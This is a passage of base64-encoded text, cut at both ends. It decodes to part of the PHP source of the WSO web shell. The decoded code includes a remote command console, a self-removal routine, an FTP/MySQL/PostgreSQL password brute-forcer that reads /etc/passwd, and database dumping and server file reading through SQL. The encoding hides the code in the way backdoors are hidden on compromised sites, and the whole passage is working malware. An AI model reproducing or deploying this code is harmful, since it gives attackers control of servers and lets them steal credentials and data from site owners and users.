5OiAkaFsyXSAuPSAnICc7IGJyZWFrOyBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOyBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOyBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOyB9ICRuKys7IGlmICgkbiA9PSAzMikgeyAkbiA9IDA7IGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9ICRoWzFdIC49ICc8YnI+JzsgJGhbMl0gLj0gIlxuIjsgfSB9IGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsgYnJlYWs7IGNhc2UgJ3JlbmFtZSc6IGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKSBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOyBlbHNlIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOyB9IGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyBicmVhazsgY2FzZSAndG91Y2gnOiBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7ICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7IGlmKCR0aW1lKSB7IGlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKSBlY2hvICdGYWlsISc7IGVsc2UgZWNobyAnVG91Y2hlZCEnOyB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7IH0gY2xlYXJzdGF0Y2FjaGUoKTsgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgYnJlYWs7IH0gZWNobyAnPC9kaXY+Jzsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7ICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOyB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgMCk7IGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsgb2Jfc3RhcnQoKTsgZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOyAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOyBpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpIHsgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOyBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsgfSB9IGVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOyBlY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgZXhpdDsgfSBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsgd3NvSGVhZGVyKCk7IGVjaG8gIjxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49MCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyKys7Cgl9IGVsc2UgaWYobiA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goJycpOwoJY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOyBlY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7IGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgeyBpZigkdiA9PSAnJykgeyBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7IGNvbnRpbnVlOyB9IGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsgfSBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddPydjaGVja2VkJzonJykuJz4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dCAoMj4mMSk8L25vYnI+PGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7IH0gZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOyBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7IHdzb0Zvb3RlcigpOyB9IGZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsgc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7IGRpZSgnYnllIScpOyB9IGZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7IGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7IGVsc2UgZWNobyAndW5saW5rIGVycm9yISc7IGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykgd3NvSGVhZGVyKCk7IGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+Jzsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsgd3NvSGVhZGVyKCk7IGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgeyBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7IGlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7IGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7IGlmKCEkZnApIHJldHVybiBmYWxzZTsgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsgQGZ0cF9jbG9zZSgkZnApOyByZXR1cm4gJHJlczsgfSB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7IGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBvcnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOyBAbXlzcWxfY2xvc2UoJHJlcyk7IHJldHVybiAkcmVzOyB9IH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsgZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7ICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOyAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7IEBwZ19jbG9zZSgkcmVzKTsgcmV0dXJuICRyZXM7IH0gfSAkc3VjY2VzcyA9IDA7ICRhdHRlbXB0cyA9IDA7ICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7IGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsgaWYoIGlzX2FycmF5KCR0ZW1wKSApIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOyArKyRhdHRlbXB0czsgaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7ICRzdWNjZXNzKys7IGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7IH0gaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7ICR0bXAgPSAiIjsgZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk+PTA7IC0tJGkpICR0bXAgLj0gJGxpbmVbMF1bJGldOyArKyRhdHRlbXB0czsgaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsgJHN1Y2Nlc3MrKzsgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7IH0gfSB9IH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7IGlmKCBpc19hcnJheSgkdGVtcCkgKSBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7ICRsaW5lID0gdHJpbSgkbGluZSk7ICsrJGF0dGVtcHRzOyBpZiggd3NvQnJ1dGVGb3JjZSgkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSApIHsgJHN1Y2Nlc3MrKzsgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7IH0gfSB9IGVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOyB9IGVjaG8gJzxoMT5CcnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicgLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JyAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+JyAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JyAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JyAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nIC4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JyAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3RyPicgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+JyAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+JyAuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7IGVjaG8gJzwvZGl2Pjxicj4nOyB3c29Gb290ZXIoKTsgfSBmdW5jdGlvbiBhY3Rpb25TcWwoKSB7IGNsYXNzIERiQ2xhc3MgeyB2YXIgJHR5cGU7IHZhciAkbGluazsgdmFyICRyZXM7IGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpIHsgJHRoaXMtPnR5cGUgPSAkdHlwZTsgfSBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsJGRibmFtZSkgKSByZXR1cm4gdHJ1ZTsgYnJlYWs7IGNhc2UgJ3Bnc3FsJzogJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOyBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7IGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOyBicmVhazsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IGlmIChteXNxbGlfc2VsZWN0X2RiKCR0aGlzLT5saW5rLCAkZGIpKSByZXR1cm4gdHJ1ZTsgYnJlYWs7IH0gcmV0dXJuIGZhbHNlOyB9IGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsgc3dpdGNoKCR0aGlzLT50eXBlKSB7IGNhc2UgJ215c3FsJzogcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxpX3F1ZXJ5KCR0aGlzLT5saW5rLCAkc3RyKTsgYnJlYWs7IGNhc2UgJ3Bnc3FsJzogcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7IGJyZWFrOyB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiBmZXRjaCgpIHsgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsgc3dpdGNoKCR0aGlzLT50eXBlKSB7IGNhc2UgJ215c3FsJzogcmV0dXJuIEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlcyk7IGJyZWFrOyBjYXNlICdwZ3NxbCc6IHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7IGJyZWFrOyB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiBsaXN0RGJzKCkgeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOyBicmVhazsgY2FzZSAncGdzcWwnOiByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsgYnJlYWs7IH0gcmV0dXJuIGZhbHNlOyB9IGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOyBicmVhazsgY2FzZSAncGdzcWwnOiByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOyBicmVhazsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gZXJyb3IoKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiBAbXlzcWxpX2Vycm9yKCk7IGJyZWFrOyBjYXNlICdwZ3NxbCc6IHJldHVybiBAcGdfbGFzdF9lcnJvcigpOyBicmVhazsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX3NldF9jaGFyc2V0JykpIHJldHVybiBAbXlzcWxpX3NldF9jaGFyc2V0KCR0aGlzLT5saW5rLCAkc3RyKTsgZWxzZSAkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7IGJyZWFrOyBjYXNlICdwZ3NxbCc6IHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7IGJyZWFrOyB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7IGJyZWFrOyBjYXNlICdwZ3NxbCc6ICR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsgJHI9YXJyYXkoKTsgd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpICRyW10gPSAkaVsnZmlsZSddOyAkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOyByZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsgYnJlYWs7IH0gcmV0dXJuIGZhbHNlOyB9IGZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsgJGNyZWF0ZSA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsgJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7IGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOyAkaSA9IDA7ICRoZWFkID0gdHJ1ZTsgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgeyAkc3FsID0gJyc7IGlmKCRpICUgMTAwMCA9PSAwKSB7ICRoZWFkID0gdHJ1ZTsgJHNxbCA9ICI7XG5cbiI7IH0gJGNvbHVtbnMgPSBhcnJheSgpOyBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyBpZigkdiA9PT0gbnVsbCkgJGl0ZW1bJGtdID0gIk5VTEwiOyBlbHNlaWYoaXNfaW50KCR2KSkgJGl0ZW1bJGtdID0gJHY7IGVsc2UgJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7ICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyB9IGlmKCRoZWFkKSB7ICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsgJGhlYWQgPSBmYWxzZTsgfSBlbHNlICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOyBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7ICRpKys7IH0gaWYoISRoZWFkKSBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHN